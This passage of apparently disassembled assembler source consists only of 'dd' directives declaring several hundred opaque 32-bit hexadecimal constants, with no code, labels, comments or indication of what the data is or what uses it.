		dd 0B3F28611h, 0A471628Eh, 2E7C389Ch, 41F19F70h, 14161211h
		dd 215EB454h, 22900A00h, 624650FDh, 6A523916h, 959ADE9Eh
		dd 556FB026h, 80B2167Dh, 3954832Ch, 0E1CE68h, 0DDCE67BBh
		dd 909E9E57h, 26B673AAh, 0F79138F4h, 5656E310h,	0E20E4BEBh
		dd 0E3A9EAA9h, 3E560DE8h, 687575Eh, 3C562B24h, 0B98799Dh
		dd 0A8D85D27h, 22CE0295h, 8259B2A4h, 232CA024h,	0E8221558h
		dd 986CC949h, 78139A25h, 27E85BB3h, 18FF4C87h, 31B962EAh
		dd 3B8D3E8Fh, 0C431F964h, 90324A7Dh, 0BDBCC1F7h, 11C976CCh
		dd 3E02C9A5h, 826E75AFh, 0F79FC97Dh, 2948D03h, 30B280D3h
		dd 48A0ADE7h, 3DDDEB22h, 5CC82E2Bh, 0D205234Ah,	0E49E72B0h
		dd 5802622Eh, 0F8DE1BECh, 0EF710DADh, 20AFF4BEh, 0BC4B87F1h
		dd 6AB4D6AFh, 0DF325A0h, 0F48CE010h, 5C1E112Ch,	0CEF64A24h
		dd 37E389C7h, 0F343614Ch, 0DE59608Bh, 9ADBB0EAh, 20AACC3Ah
		dd 0C8530CE4h, 0A9DAA32Ah, 3711347Ch, 0DF1E73CFh, 80FFBB96h
		dd 54B979Ch, 602E2B30h,	0B041C82Dh, 779B271Ch, 44770D07h
		dd 7A6CF270h, 5B43A7CEh, 5C0E6Dh, 0F00BD1AEh, 0D2F47303h
		dd 0E64FA2E8h, 88FA11A5h, 9F0D8490h, 683FF800h,	0CBABFB13h
		dd 5C31505Ch, 86792D77h, 8FD75771h, 4D76C2F0h, 8F2857CEh
		dd 946FC646h, 0E526E428h, 23409E53h, 63A8BF80h,	0E18F28C3h
		dd 4A339FE8h, 7A667474h, 271F8143h, 691F89BCh, 70190F65h
		dd 67EB761Ch, 16F9B600h, 0EDEFBC25h, 4BCF9392h,	0B3224F53h
		dd 0EDD5F1E9h, 0EDCF8B6Dh, 0E56C84FDh, 78CA76Bh, 1E64089Dh
		dd 769D0419h, 8CE3060h,	681B2430h, 68CA49B5h, 0CFABA29Eh
		dd 28624354h, 2C21BC02h, 0CCDA8Bh, 0BAD07B28h, 75210B17h
		dd 7861C02Fh, 9846B59Ah, 3936594Eh, 78BB529h, 1A0FE001h
		dd 28F8936Ah, 47DE11A1h, 3CFDB9EAh, 4B736F01h, 0BCEC1CD3h
		dd 0FCC2BA1Dh, 0ADC5200Fh, 7EF31B28h, 203D001h,	8BACF65Bh
		dd 4114221Dh, 1E8745CCh, 0D53BB810h, 90B27C58h,	8591F028h
		dd 0B07450B4h, 0D8043968h, 0E98191B1h, 0AE8446AFh, 0D8915AA3h
		dd 8354297h, 0D646DD47h, 6B58F2A8h, 9FFB6BF6h, 6EA34959h
		dd 9EFF9449h, 0C153595h, 0EFBD52E0h, 0C5743071h, 0AD913D7Fh
		dd 0C952FB76h, 2E281290h, 3D7E59B7h, 0F3463275h, 263C4EDFh
		dd 0F59F053h, 107A36B4h, 2E4704B1h, 1FB7970Eh, 0D192BE3h
		dd 2E900DE5h, 8AAD60D3h, 528E8CA4h, 57F4AD0Bh, 0F7D243D3h
		dd 2683040Dh, 42A9D37Fh, 358F9D2Dh, 8DAC8CF6h, 0BC0539D4h
		dd 0A08EBB0Dh, 1EA04771h, 6EB13E11h, 0D0393849h, 7A2F44FFh
		dd 8441595Bh, 0F6F80238h, 0D7740972h, 67B4273Eh, 0AD397523h
		dd 1030F61Dh, 18A6CD72h, 9C8C34C1h, 6B1D6435h, 74C98125h
		dd 0A93F5796h, 4E263D5Ah, 86F148A5h, 8E1CB48Dh,	1FDE83E2h
		dd 0D37BB2AEh, 0E96C097Ah, 2059CB69h, 0C0C3EC87h, 69FD89FFh
		dd 0F07D2609h, 0ED984031h, 19480E6Dh, 0C2A86297h, 78A254FFh
		dd 498BE6E2h, 42E17122h, 42478D6Dh, 0CD7004E0h,	1026BF1Bh
		dd 0A47197DFh, 139E19B2h, 0C91796Ah, 1B010DADh,	0F88AA65Dh
		dd 42ED2AFBh, 3D854E96h, 5180499Ah, 573F5627h, 7F0BD6BAh
		dd 9812A49Ah, 0B8A4B413h, 70A33E8Dh, 2E694020h,	6D4E3E47h
		dd 53674058h, 0FF1ED971h, 2ED277CAh, 0A3DB22A4h, 0A41E142Ah
		dd 0BD5EA3A5h, 3B31516h, 72D5CBECh, 406DAA07h, 0C49FC0CBh
		dd 57EBCBh, 115E7D54h, 0D3E445ADh, 0B0EA8FABh, 0D9BA6A4Ch
		dd 0F3FD06A4h, 8F370FCBh, 0B80BD391h, 0BC4C81E7h, 5C3EB2AEh
		dd 0C76AD027h, 0A36A2C38h, 0AB294F50h, 97444F0Ah, 74BC5D0Fh
		dd 0F8309646h, 8D5B4F9Ah, 0C5B3D215h, 7DAC9A4Fh, 0F2382375h
		dd 71C8654Fh, 874F60BBh, 345589Ah, 0BB459E31h, 0B351A1BEh
		dd 7B562006h, 75C0EB11h, 0E3F0213Ah, 0A20EDCC1h, 0CD9E7BCh
		dd 94BABEABh, 5572D77Fh, 7B99A96Eh, 1F1764E9h, 5F6B10D3h
		dd 5D07C69Fh, 1AB5B259h, 5E276CC4h, 9421DC50h, 76BEC4D4h
		dd 7884CE6h, 0D55BE2B5h, 0AEA6FFD0h, 3788168Fh,	5F8A7E96h
		dd 3C6C7A07h, 2570D487h, 0FC7439CFh, 0C2F8BEB9h, 0E8EBF41Eh
		dd 0A4B144D3h, 0D8DB25A1h, 1BCE708Dh, 8E87A15Bh, 0EDF05FEBh
		dd 5172F991h, 224669E1h, 70CB3854h, 0EA0DAB09h,	67310712h
		dd 4E172F57h, 93A76BF4h, 77EE7886h, 59D5085Bh, 0FC4A1D1Bh
		dd 0E511C388h, 3AE80CA9h, 5A9A1BBFh, 619A1AAh, 0B23CA61Ch
		dd 0E3C30F00h, 897EDBCBh, 4162A0B7h, 6EAB7E81h,	69D81C42h
		dd 5EA80EC6h, 0DA7FF6A1h, 0B9CCEB0Fh, 1DF8873Dh, 7F524B4Ch
		dd 96E14096h, 1697AF7Ah, 2BA31947h, 2453CAF9h, 95EDAEC8h
		dd 0CB65CA2Eh, 0CF47BEE4h, 0F788C823h, 0A972DCF8h, 15943772h
		dd 4347B9AEh, 6457351Ch, 963D23B4h, 0BE4E8055h,	0F73B7E7Eh
		dd 50FDB7FAh, 59C1FA4Ah, 0BB9ACA15h, 55674486h,	8E74B76Eh
		dd 0CBE61CAFh, 909A6DA5h, 0D342C6EDh, 1A34FC09h, 3D489B6Ah
		dd 0B948C4E3h, 8B519CE1h, 5D7A3AE0h, 110B6679h,	0A5C2C790h
		dd 857EBF65h, 892FC0Fh,	941F24E6h, 0B6F43705h, 0C586D5B8h
		dd 70CD4FAFh, 0C0A4DCEFh, 69D53CB6h, 8EDE4CABh,	53D9E912h
		dd 0B1DA3332h, 2A4BF092h, 0CF1E8B07h, 0C8505978h, 1CAD8680h
		dd 5BCC1777h, 0A1E205B4h, 29480C98h, 67627021h,	0CBDE49E3h
		dd 0ECED4B81h, 28204BB6h, 305BD440h, 0DAFDAC5Dh, 939F7713h
		dd 39CA1C8Dh, 1325A7C5h, 0B424B23Ch, 0D6F189C3h, 0E9F06C6Fh
		dd 0F77EFDE3h, 0DA14E679h, 0E4BBC037h, 0AA4708CAh, 479FA49h
		dd 0A3C610E6h, 0F765B2B2h, 0C480E4F1h, 5C4D71E1h, 2E9D937Bh
		dd 0E70B2C98h, 775A9B99h, 7F4CBE4Dh, 83C9662Bh,	951E2DE6h
		dd 39944458h, 0DDFB623Fh, 4201B9F2h, 42CCA31Eh,	7008BD17h
		dd 81B39AEh, 99BED0F7h,	3ECD5DE9h, 1F3D6BEBh, 5E0D6C4Ah
		dd 67EB95D7h, 65906B92h, 697FBC17h, 814086F5h, 82C98A70h
		dd 7789EDDDh, 0FD356FBFh, 1DAC9588h, 0A4FB67Ah,	8D1C7998h
		dd 4F932C0Fh, 9FCF551Bh, 0B3142CDAh, 353C251Eh,	2F5A3E46h
		dd 3476519Bh, 78A9D66Dh, 0AF2D12BAh, 4AEEE96Eh,	0BD237037h
		dd 0A37AB3EFh, 1D9CFF90h, 0BBF678DBh, 0E70DEA09h, 8D6718EFh
		dd 16702F68h, 43D7C149h, 0B095059Fh, 1EE1A9A7h,	0A64C49Ch
		dd 0C625439Ch, 4AD2500Ah, 8489B002h, 4447AF33h,	0FBB01EB0h
		dd 953AC84Ah, 497A465Dh, 526ABB28h, 0E86E6045h,	0C6084A26h
		dd 0ABF77C3h, 0F06BF183h, 67B789BDh, 3B5F5DAFh,	0C6D1A2A7h
		dd 0E91B2FD8h, 0C8F81376h, 2C37E279h, 7BA2B073h, 0B1C6624Bh
		dd 0BE864E0Eh, 0F1BAD970h, 4054346Ch, 0F5F1F5B7h, 0A7D780C0h
		dd 93DDE74h, 8D3C9B45h,	9EABE370h, 4FE747C1h, 0C22286C2h
		dd 72167EB5h, 0D41CE0E7h, 0C2F800ABh, 5F82534Eh, 8A4EF24Bh
		dd 0C431BA68h, 8BBC657Fh, 7CF0B6A0h, 26E9F1FCh,	1DE1857Fh
		dd 3D52D798h, 95EB0D47h, 2B0F2305h, 0A692C6BDh,	0A175722Fh
		dd 94E0E4Fh, 9CEE7F4Bh,	0AB9A0DFBh, 0E2E2B3A9h,	0E1DFC81Eh
		dd 6FABC757h, 0C35CFD23h, 9944BEB1h, 16EE1BD8h,	0C26B6E78h
		dd 36DD2720h, 0AEFC1975h, 0B9F5099Eh, 223436EEh, 0C695AB4Dh
		dd 25785DCh, 567509F5h,	0F82F547Ch, 0A5BC1C42h,	0A24D80C8h
		dd 84F44EA8h, 707DEB34h, 0CBF20B9Fh, 1C0E82A4h,	77C8E578h
		dd 8C10B94Eh, 8A2676D7h, 83E134FCh, 2D2CA3A8h, 9317E44h
		dd 5B3F5296h, 4F57E631h, 0A2F4444Ah, 0A142283Ah, 888B9EEBh
		dd 3B806146h, 0F909C47Ah
		dd 1087862Bh, 0BD1DD878h, 48DA1DCBh, 19B18DCCh,	90823EECh
		dd 60330B4Fh, 81D3A327h, 0BF29BF12h, 25A21E28h,	4484AF43h
		dd 216405ABh, 6C8A6695h, 2FD30B64h, 18352972h, 4DBAF436h
		dd 7DFF6889h, 0F59B7D38h, 16E68968h, 56F2F31Ah,	5CC9FDD9h
		dd 0E498A2CEh, 2357810Eh, 6E22E209h, 7C83EC9h, 26DD70D4h
		dd 0E7CCB744h, 0AE910E7Fh, 77D21DDh, 22E21DB5h,	0BDEB08D7h
		dd 46767D92h, 93AA4ECFh, 0EBC387CDh, 0B4A290A8h, 4F4A19D0h
		dd 569C67B0h, 0D3942D67h, 77A35E02h, 71B9194Bh,	5E8A2EDCh
		dd 0D84CE8CFh, 12116C57h, 15CE6ABh, 693ACE8Fh, 552DD47Eh
		dd 0A6EB1C61h, 2C51445Eh, 3CBA32A5h, 9F461830h,	7337AA49h
		dd 0E3F817C9h, 8BADD376h, 17CEC6BAh, 92A5D8C0h,	6908E304h
		dd 0AE73D9E0h, 0AA373A1Ah, 2E4F413Fh, 0ACB6DDACh, 0FF2190C9h
		dd 7640D901h, 4CC0642Ch, 2745C56h, 164D7DC4h, 87364A2Ch
		dd 2DB56CA3h, 889AD19Eh, 0AC64BBDBh, 8E33F65Ah,	0D884E189h
		dd 4616FAB6h, 0B4803800h, 7515E8FEh, 6D24993Ah,	1EEE4B95h
		dd 0BACB0666h, 5B417BEFh, 3EF4EF18h, 8512C837h,	4BE840D5h
		dd 4CEABF52h, 22D51E53h, 4C9774AAh, 0B9BC40BBh,	55EAC24Eh
		dd 0D39D4D2Bh, 2E623A6Bh, 0CEEC39FDh, 6997B95Ch, 1890E7FDh
		dd 5D1195D1h, 5E247283h, 28FF4840h, 54FCB46Eh, 25D3AF95h
		dd 0B532A339h, 69764D34h, 0C6B95EDEh, 54537375h, 3600C233h
		dd 0C126C19Eh, 9A3D0DAFh, 5A4AA3D1h, 0E6BC17AEh, 4701022Dh
		dd 0B5AA2ED1h, 0A5C9E2B9h, 0EFBD0DE6h, 47A9F670h, 0FB21A624h
		dd 11443422h, 0D2F751B7h, 5A1870CAh, 0A81F14CAh, 2CAAE114h
		dd 0C24590D8h, 7E503463h, 938CD2CBh, 834C2F18h,	526B1674h
		dd 64C00DFAh, 0ABD5D70Fh, 6105F4EAh, 0A7E8352Ch, 0C594273Fh
		dd 0E9D95BD8h, 617C46h,	22635E72h, 2B40F2E6h, 726AAE68h
		dd 3CC782A9h, 89951B2Fh, 674D945Ch, 0F586DD63h,	9DB28281h
		dd 0E158A840h, 0B20C3C6Eh, 9BFD7CC4h, 0AE91D4B5h, 9D3C3FBAh
		dd 9D5078E4h, 7858902Ch, 0F34F62CBh, 7A30E8A9h,	97743380h
		dd 44C9FCA9h, 0DF6C2D10h, 14201C13h, 0E43C51DEh, 524E0085h
		dd 0C828D63Eh, 37C40BA8h, 0F50E4315h, 175C8564h, 0D039347Dh
		dd 0A1AA5A56h, 28F7A5Fh, 0BB77945Dh, 41E113E6h,	4013A4C5h
		dd 35F2C639h, 0FABF3DEEh, 347BB3C3h, 8653B4D9h,	717382AAh
		dd 152221Dh, 878071B6h,	0B41882Eh, 5B644269h, 0E64985CEh
		dd 0F9D398CBh, 1969051Eh, 0F0A40037h, 47A7A6Fh,	73C1E472h
		dd 0ED6317Eh, 9D35A97Bh, 251EAF94h, 58E997BAh, 7B778509h
		dd 0EA276494h, 872FB690h, 6FB19CCDh, 0A340D3C4h, 0C3812FF2h
		dd 0CE7B0FA3h, 226421CDh, 69A4971h, 20CF9331h, 7E806F53h
		dd 80E6CD6Eh, 0E051D09Dh, 2669A01Fh, 573057AFh,	0AFFAF985h
		dd 0B91C591Dh, 0C93DC349h, 0ABDEEE4Ch, 1A7F83C4h, 1F2A1647h
		dd 0ABCAC18Dh, 0DF8CA0D8h, 70F1875Ah, 2D2F4D36h, 0E85D2E96h
		dd 1D53A15Fh, 0CDA44571h, 37923186h, 0C6CCA74h,	5CE3B3C5h
		dd 0E9DBE137h, 0A2CEC553h, 0ED589ECCh, 5973C008h, 6C24EFB6h
		dd 3859E8F2h, 0D9E1FAE3h, 0D82EF2D6h, 0D3187B32h, 31822DD2h
		dd 0E4D74623h, 0EFC221A9h, 0DFF2895Bh, 0F6C86E91h, 2FE10B1Bh
		dd 78BFD319h, 681EE921h, 0EE0BADEDh, 0EEAC81CCh, 2D105011h
		dd 0BD5B2613h, 600DE88Fh, 0B329946Fh, 3742D368h, 0AEEEDE55h
		dd 454846C8h, 0BBE1BC54h, 0F09355DBh, 0DD8A2A42h, 3C3E8069h
		dd 0B0BA1CC1h, 66233F2Ah, 60421EA0h, 0CF540B3Dh, 4ED4E01Fh
		dd 0FA360335h, 25C21084h, 0AB5AEB8Fh, 1CEB4D4Ch, 7113168Ah
		dd 40354A53h, 0A3FA5E79h, 0B780DA84h, 35EEDACDh, 8D6EDDDDh
		dd 0E28E87EAh, 293E24B2h, 6EEDAE76h, 0B13A5E7Dh, 4CE894F1h
		dd 45AA00Fh, 45667DE3h,	0F7CD499Ch, 57B29B64h, 2AABAD87h
		dd 8597423Bh, 61EEE741h, 3BE7A742h, 0F47AB895h,	5FF3F8C2h
		dd 0C04AD6AFh, 1D1EA8C6h, 7B9F42C1h, 1A580CDFh,	710F4207h
		dd 0AB9AB12Ah, 77A56EC4h, 2BF91369h, 712D65E8h,	75FDC352h
		dd 6CA1A04h, 3D4EA3B7h,	0D7119139h, 7191CFE7h, 0E48885DCh
		dd 0F32E95DAh, 473768h,	478C5931h, 17BF6AA7h, 0C26526D8h
		dd 0EA3487BEh, 6A39C618h, 798CFA1Ch, 69084CA9h,	36A00266h
		dd 1473C6D6h, 0E5AAB1D4h, 34A23A67h, 0E6864CACh, 80F12116h
		dd 0D9498AA4h, 0F718164Bh, 4B215837h, 0BEB8BE8Eh, 73A16321h
		dd 0B302D57Eh, 0E0E18B84h, 15B915Eh, 0CDBDC618h, 0AB5CC0EBh
		dd 3837E21Dh, 7A45CBBFh, 8B80EC78h, 0EA8A58A5h,	8C5DB52Dh
		dd 9EB4BE8Fh, 58FEFAFEh, 0B0F4BFC1h, 417796BDh,	3B6546ACh
		dd 78470524h, 0AC8C2ABCh, 0E5A58DF2h, 0BE87980h, 182A3770h
		dd 0FC629CC6h, 0CD407535h, 14355657h, 0C10F9C0Fh, 66D1A38h
		dd 8E1E6100h, 1F3B90F0h, 320ABE74h, 0AE50ABE0h,	0FD9D146Eh
		dd 0EA1867F8h, 7DF7FE93h, 1A48A671h, 0FD18C91Fh, 7701077Ah
		dd 1627D805h, 63C1D719h, 654A14ACh, 0AE36EE40h,	0B0C7A556h
		dd 7AD18B2h, 0FB47A6ABh, 98CB7B9Eh, 28AB2938h, 4380DB39h
		dd 58CB5EADh, 123FDFFBh, 8841F24Eh, 0C0D901F1h,	77FDB5ACh
		dd 0E5A995E8h, 5D9158AFh, 0D5F31CBCh, 1E3750B9h, 0A3CBC64Fh
		dd 22D1098Eh, 0D486AF42h, 4CD52923h, 0CDC3CF00h, 0DB8E2808h
		dd 0DC52B38Ch, 0AAD98954h, 75876C01h, 8E5D791Ch, 0A8AD00D7h
		dd 1F6A3ECEh, 0C7E8233Eh, 0CC7D8D02h, 0B00607A8h, 1D26FCC0h
		dd 0C3AAA1ACh, 0E4C9B426h, 0B999ED4Dh, 0FAD3FED7h, 0D06D0829h
		dd 555D2ABFh, 0D4C45A17h, 11DDD729h, 0EE356700h, 3083434Fh
		dd 0ADD4A766h, 126B6203h, 64B75389h, 89C66DF4h,	9EA8C987h
		dd 0DFACD75h, 0D5B0CEBEh, 42F08C6Ch, 0E8BBD3C0h, 1CE7B2BAh
		dd 164B7C88h, 2BC3A16Dh, 2BE21CDAh, 837A1569h, 509EC76Ch
		dd 392E106Bh, 0F19A960Ch, 0D12247EBh, 6C06370Eh, 2C2651AAh
		dd 43761F18h, 3E15E589h, 0A2A348F9h, 8D16094Fh,	0B3D3DABBh
		dd 49DD84FCh, 2131A86Dh, 0D05CF5CCh, 0F0BCE214h, 444A5122h
		dd 0BAA9089Fh, 0CA7C41BAh, 57EC613Fh, 0D57DDB72h, 0EE7779B5h
		dd 353A68B9h, 0F4EA25C8h, 0EF213F44h, 0DABAAC58h, 32AA5268h
		dd 4CEC1E20h, 0AC3F8A7Eh, 0E0EBE990h, 3471CAF8h, 353F2A11h
		dd 51A728EFh, 0C1C4CF08h, 3443091Eh, 66C9A75Ah,	0CD3132D7h
		dd 77C2107Eh, 47227F29h, 3A4936CFh, 993F8483h, 20B0CE6Fh
		dd 3FB68494h, 28805BCDh, 4F5BA3CCh, 0C6E9B6A4h,	0CCCC2918h
		dd 1FDE1908h, 6448EA7Fh, 4A70E5DBh, 0B20F68Fh, 9A2E438h
		dd 0E5944F3Ah, 0D81283h, 0D877EC94h, 9E70B689h,	0F8CF0945h
		dd 4C07D436h, 16BD63B6h, 0D7554AF5h, 828A7252h,	0C3D04617h
		dd 70E1DB0Eh, 7F267CC2h, 1B9569D2h, 0E9034B4Ah,	5502FCABh
		dd 22A0DA2Ch, 848E998Ah, 0CF1262A3h, 0A06AD593h, 308E094Eh
		dd 0E92ADC16h, 4FE04091h, 0B79FBC41h, 3354813h,	0B21C207Ch
		dd 29530459h, 0D6848DDFh, 0DAD8B367h, 1924E33Ch, 9FC70925h
		dd 9EC4ECFCh, 857F31h, 3D52AACEh, 0D472569Ah, 8EA66A15h
		dd 0C8D9DC48h, 88931CD0h, 0CBE32544h, 0A277D618h, 0F39F1909h
		dd 0CCEE32C9h, 0F8A8A9B4h, 709D9F91h, 0C7B63C2Ah, 5CF2ED0Dh
		dd 14D81C9Bh, 32DE4EB5h, 8E2E53BDh, 14F86EFFh, 18801C2Bh
		dd 9A4B6CC3h, 0EB770C9Fh, 68061C9Ah, 69DA4737h,	58E29A0Eh
		dd 887B8B66h, 3E124282h, 116A0133h, 8872D6FFh, 681BE7F8h
		dd 0AB7D5913h, 92B9C2F8h
		dd 0FE0BDFE6h, 0FA1FB172h, 0A26D73AEh, 0AF23B8CFh, 99B61CFCh
		dd 6F7C216Ah, 9997FE2Ah, 1BCA1177h, 980B1E2Eh, 0BB09D2DCh
		dd 1D30E37Dh, 0B1DFA3FEh, 0EA8881BCh, 2537D890h, 0E571CC69h
		dd 8E43F69Fh, 0B69CF142h, 0BD43697Bh, 1E49AB52h, 3F234C5Dh
		dd 0ABFA56FDh, 0B4701C57h, 29D62C11h, 3CF0EA9h,	0BEAFD8D2h
		dd 546FC0F0h, 0EA705C47h, 3DE40557h, 9C1E932Ch,	0E24ECFA6h
		dd 7A6CA12h, 47D4B072h,	26D19AB1h, 0F4B0A7A7h, 0D00CAA5Eh
		dd 0B9DA152Fh, 4D9D70h,	49DDA3EEh, 0E94327B6h, 50065AEBh
		dd 618E323Fh, 92879B52h, 79CB5DC7h, 6D7E28Ch, 3A0D7FC0h
		dd 723E628Ah, 9CB4D23Dh, 2AFA7A66h, 3555F32Eh, 3576DBBEh
		dd 0BAF04E72h, 0FB8D8560h, 0B1920A10h, 0D272D8A7h, 5F63D55Fh
		dd 0C752C4FEh, 23664767h, 9CD2A0A5h, 0E18CDC37h, 32FF271Ah
		dd 5EF60AF7h, 7BE23C09h, 0A257D9C0h, 0F1EACC91h, 14CFCD36h
		dd 21126D38h, 889703A6h, 0C4535C7Eh, 662F249Fh,	65878ADAh
		dd 0B3995F56h, 4122E013h, 94E25ACEh, 0BAB2ABD6h, 8E229BA7h
		dd 2774C6BFh, 553F2A67h, 827BDD3Dh, 0C6D2A76Dh,	36DE91FBh
		dd 0ED29A7B4h, 0D59DB9F1h, 1C006FFFh, 0C4E51327h, 0BB4FF9Bh
		dd 0F9E39A0Dh, 48557F6h, 0C532FC2Ch, 0AB44D0EAh, 4171F0DCh
		dd 0EB2D00CAh, 0C9CF9876h, 322B3A50h, 1D6ECF93h, 0D5EE039Bh
		dd 6DC4F115h, 19E475A0h, 2C7E5A22h, 667623B6h, 0DA3AE340h
		dd 80DC2A9Ch, 5FBC7DC7h, 5D91167Fh, 0A9E11198h,	67B31C27h
		dd 764C85B9h, 21D0F8B7h, 0FE9545EBh, 957E727Ah,	5A63070Bh
		dd 0AF5EAF47h, 86F1BC81h, 0D40BED4Eh, 0B772CE4Ah, 71B873ACh
		dd 2E6CE13Ch, 930DC658h, 0FAB62B6Bh, 7A639FF6h,	0FB0F2840h
		dd 81EF1F71h, 3FB841DFh, 0BD48A496h, 10CC1768h,	6373ECB9h
		dd 0B54D2C8Ah, 3C669E74h, 0FF3D3496h, 9703809Dh, 0A2481194h
		dd 640499A0h, 25DB9AD7h, 10FB799Fh, 631F1A8Eh, 0E5CF4DDDh
		dd 3D4A9286h, 0DA98E325h, 47717A46h, 68FE100Ah,	9D86AC8Dh
		dd 0DF273839h, 7F46B285h, 4A6E5A70h, 0B5F6F94Fh, 3006EAC5h
		dd 0B0A19D1Fh, 165BA55Ch, 0C3E03E6Eh, 1AC996D8h, 4A8BAD3Ch
		dd 8CB63C33h, 70B24DCBh, 907AA222h, 9453609Dh, 0A25BBEF3h
		dd 314691F8h, 0C915408Bh, 0DD68DA3Fh, 0B1E3B55Ch, 72CB823Ah
		dd 161295DCh, 2B9F42DEh, 95D3E29Eh, 4AABDB33h, 0AB9732E3h
		dd 3FCAFBE9h, 0AA3A0709h, 0DE6C9A8Ch, 0C9B617B6h, 64CB75FEh
		dd 3A1C2A4h, 4EDD6C3Bh,	27AEB0C3h, 0B72EA914h, 0DDD3C6A8h
		dd 7A3C1627h, 0F0159E35h, 4485C11h, 2DCFBFB3h, 0A47B14BCh
		dd 98CEE531h, 7C483F26h, 85C46C1h, 0B4C453FFh, 0CF3BDEB8h
		dd 953805A4h, 0E4DCBC9Ch, 0F1087D90h, 0D5D28277h, 35FE82FAh
		dd 0DD346D33h, 5779572Ah, 0E6A3ECDh, 8CD728C1h,	58CD9F51h
		dd 0FEA2D6BDh, 2DDAA0EDh, 0C308C10Eh, 435EA580h, 0ED7F6D66h
		dd 0CD64C34Ah, 0C6241C94h, 441EDE85h, 0ED46427Ch, 4CA92DB2h
		dd 340507DDh, 56EEA852h, 4D2AA0F6h, 5FA99F97h, 0C7726428h
		dd 87BA73EBh, 0F21EC548h, 0F52DB517h, 0F5FE4BC0h, 5C2B0EF7h
		dd 0DE466CF4h, 5D585F48h, 3ECF4F3h, 4E4AA8E2h, 91126F5Dh
		dd 2A2323C4h, 77628303h, 99BDE675h, 0D289A3FAh,	1F32640Ah
		dd 0FC4E27A1h, 69F3A11Bh, 205D2BFFh, 8AE9C96h, 49778417h
		dd 0D953337Ch, 0A8029D5h, 0C906E7B7h, 0A2D039Ch, 7BB6502Bh
		dd 8C62544Bh, 42AF0D3Ch, 9C4D42A5h, 52F7048Dh, 217423A8h
		dd 9CF740E7h, 2664CA93h, 7415AE35h, 0CC99E7DAh,	0D4DDD775h
		dd 0DA380E3Ah, 0DF95221Bh, 338754D3h, 0B63D58F1h, 18F6E17Dh
		dd 0E67D7275h, 0EA20C241h, 0A6624A3Dh, 9F8B9731h, 2F01EA7Ah
		dd 0D406880Dh, 0BBDD2859h, 0E619A9C6h, 628304Dh, 0A63E66Eh
		dd 852534DEh, 0E68A273Ch, 0D1FB493Ch, 0F0D2D438h, 0FE89F59Ch
		dd 844B2E5Fh, 2E17B7CAh, 2FA96E8Fh, 0A92983A6h,	0E9CF883Fh
		dd 0B4D6A2CEh, 0AD238D55h, 0F56500FAh, 0C5F52AD9h, 82C74244h
		dd 7FB30AF8h, 0A51AA0F2h, 61921F0Dh, 5EF23DF0h,	0A0E5DB11h
		dd 65E5F4B6h, 403E682Bh, 52109E54h, 0C974EA2Fh,	0BEAD19A1h
		dd 851C743Dh, 0AA89B846h, 326B6BC1h, 0E1DC6975h, 0E3717A81h
		dd 38023723h, 9578A0E0h, 36528EE3h, 1471AB05h, 2B5BC10Ch
		dd 91F1DD11h, 0C7BF5A2Ch, 0F9D52D0Fh, 96DCF31Ah, 0DC61214Ah
		dd 6AE3929Fh, 97D52F5Eh, 64A1ED5Fh, 0ADB4212Ch,	4B85999Ch
		dd 3C273027h, 0D57FC8F5h, 0A5FBDDDAh, 0BC497B3Eh, 0C5D0B734h
		dd 243B815h, 0A9A56506h, 0C235B357h, 9073438Dh,	0DCCC1F3Fh
		dd 0C4B18B8Bh, 9305B609h, 21EC9110h, 0D06C19A6h, 0ABA1CF67h
		dd 54D34EF5h, 4EFBF3E0h, 2BC9867Ch, 43239FB4h, 0D5769990h
		dd 4EA04D09h, 0B27644E9h, 0EF6C1028h, 551CCF38h, 9B42473h
		dd 704312Bh, 6D5C21F9h,	7CA83015h, 87195D4Eh, 3C8CB683h
		dd 0D15F44Ah, 0BA08C0C2h, 26EAD9A9h, 744F30B3h,	8097AC23h
		dd 6AA80EC4h, 2F933281h, 8F5C98E4h, 571673Dh, 240F0C05h
		dd 895792C5h, 0A115A2C7h, 4027D67Ch, 668443F9h,	76D5A718h
		dd 8DD07400h, 6A942DDh,	0A540EE8Ah, 0ABF61FB3h,	2A80F8F8h
		dd 0C5B44DBCh, 637BCBC4h, 20579673h, 33C1CA7Eh,	0BB3C3BBEh
		dd 7ECCCF11h, 0D22B40ABh, 83057633h, 378449E9h,	0CD2096CDh
		dd 0C5ED6B4Bh, 0C9EBDDCFh, 0A677C6EAh, 0E772B65Ch, 885919BAh
		dd 975E98A3h, 0A3AD6BFEh, 3808B123h, 58B19A7Dh,	0F1355219h
		dd 0E2BC3CEFh, 0A98F0F0Ah, 0F601D513h, 31375D7Ch, 6FB7BB66h
		dd 0E8F171F8h, 0C31D0E42h, 0B3E1DD1Eh, 86CA7E70h, 69B9ACA3h
		dd 0D799A677h, 78D1D6E5h, 3A215701h, 29708FC3h,	7A231C01h
		dd 0C71A89E6h, 0C0C13DB1h, 54EE2482h, 1C8E41B3h, 0A49805D7h
		dd 0CB1A2326h, 0D168CD6Eh, 9841759Eh, 4C2CD4A4h, 9FA04863h
		dd 425C1628h, 6BD5105Ch, 0F780521Bh, 53857073h,	0CD47696h
		dd 0B57C087Ch, 0C569673Eh, 94E34469h, 4524C66Ah, 4ED9784Ch
		dd 0E543D0B2h, 66ACA412h, 23CF1E4Eh, 5E864AAh, 2C2716AFh
		dd 7F95B735h, 0B37F5687h, 3C7B88DCh, 88AD10D5h,	0EE2F110Ch
		dd 68A31494h, 30CEB48Eh, 0EA5F4988h, 2BAFBA6Bh,	0E2ED8372h
		dd 5F57F69Eh, 1588EDC3h, 86EB1896h, 90560B6Ah, 0DD505A7Ch
		dd 0BD72E9B4h, 8AFF17EBh, 0BED971B6h, 0F17BE8DFh, 0BFE2A82Fh
		dd 711C74BBh, 0F98CF2FBh, 2D353E45h, 22BF5B80h,	2749C1ABh
		dd 62754278h, 0E89AD1DDh, 4A78004Bh, 7B868C3Fh,	412DBA9Dh
		dd 0D7AB45E3h, 0D59140C3h, 0D6EF620Dh, 0EDD21DE8h, 0A91136BBh
		dd 56436502h, 9D1A921Eh, 6504B731h, 0F5D66CC2h,	92DDE80Bh
		dd 0C825D870h, 2226FAF9h, 0C740C045h, 0DD31D855h, 3E8C41A6h
		dd 3AB78E33h, 0B35F3C02h, 4726BF29h, 817C1738h,	0B0E8A134h
		dd 5351AE86h, 3DD905EAh, 3819C2C7h, 0EE61FD8Ch,	0AC80765Ah
		dd 0E8727261h, 32F237AEh, 0E5AF202Dh, 0F6A53500h, 827A1E5Ch
		dd 0D576AA73h, 0E2EA227Ah, 90617716h, 0A3526321h, 0E7F22202h
		dd 0A4031C35h, 19172DBCh, 0D99BEC6Dh, 330726BFh, 0F7EC8BA8h
